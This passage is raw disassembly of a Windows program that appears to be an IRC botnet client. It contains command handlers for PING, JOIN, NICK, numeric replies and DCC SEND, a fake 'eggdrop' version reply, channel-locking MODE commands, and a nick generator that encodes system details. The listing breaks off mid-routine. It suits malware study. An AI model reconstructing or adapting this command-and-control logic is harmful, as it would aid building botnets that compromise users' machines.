sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC
		push	[ebp+var_C]
		call	dword_4170B8
		push	[ebp+var_8]
		call	dword_4170A4

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB90
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DD10
		push	3B7h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DB80
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EF28
		push	[ebp+arg_4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EF28
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41EE28
		push	offset dword_41DB90
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41F028
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41F028
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41F028
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EF28
		push	[ebp+arg_4]
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EF28
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
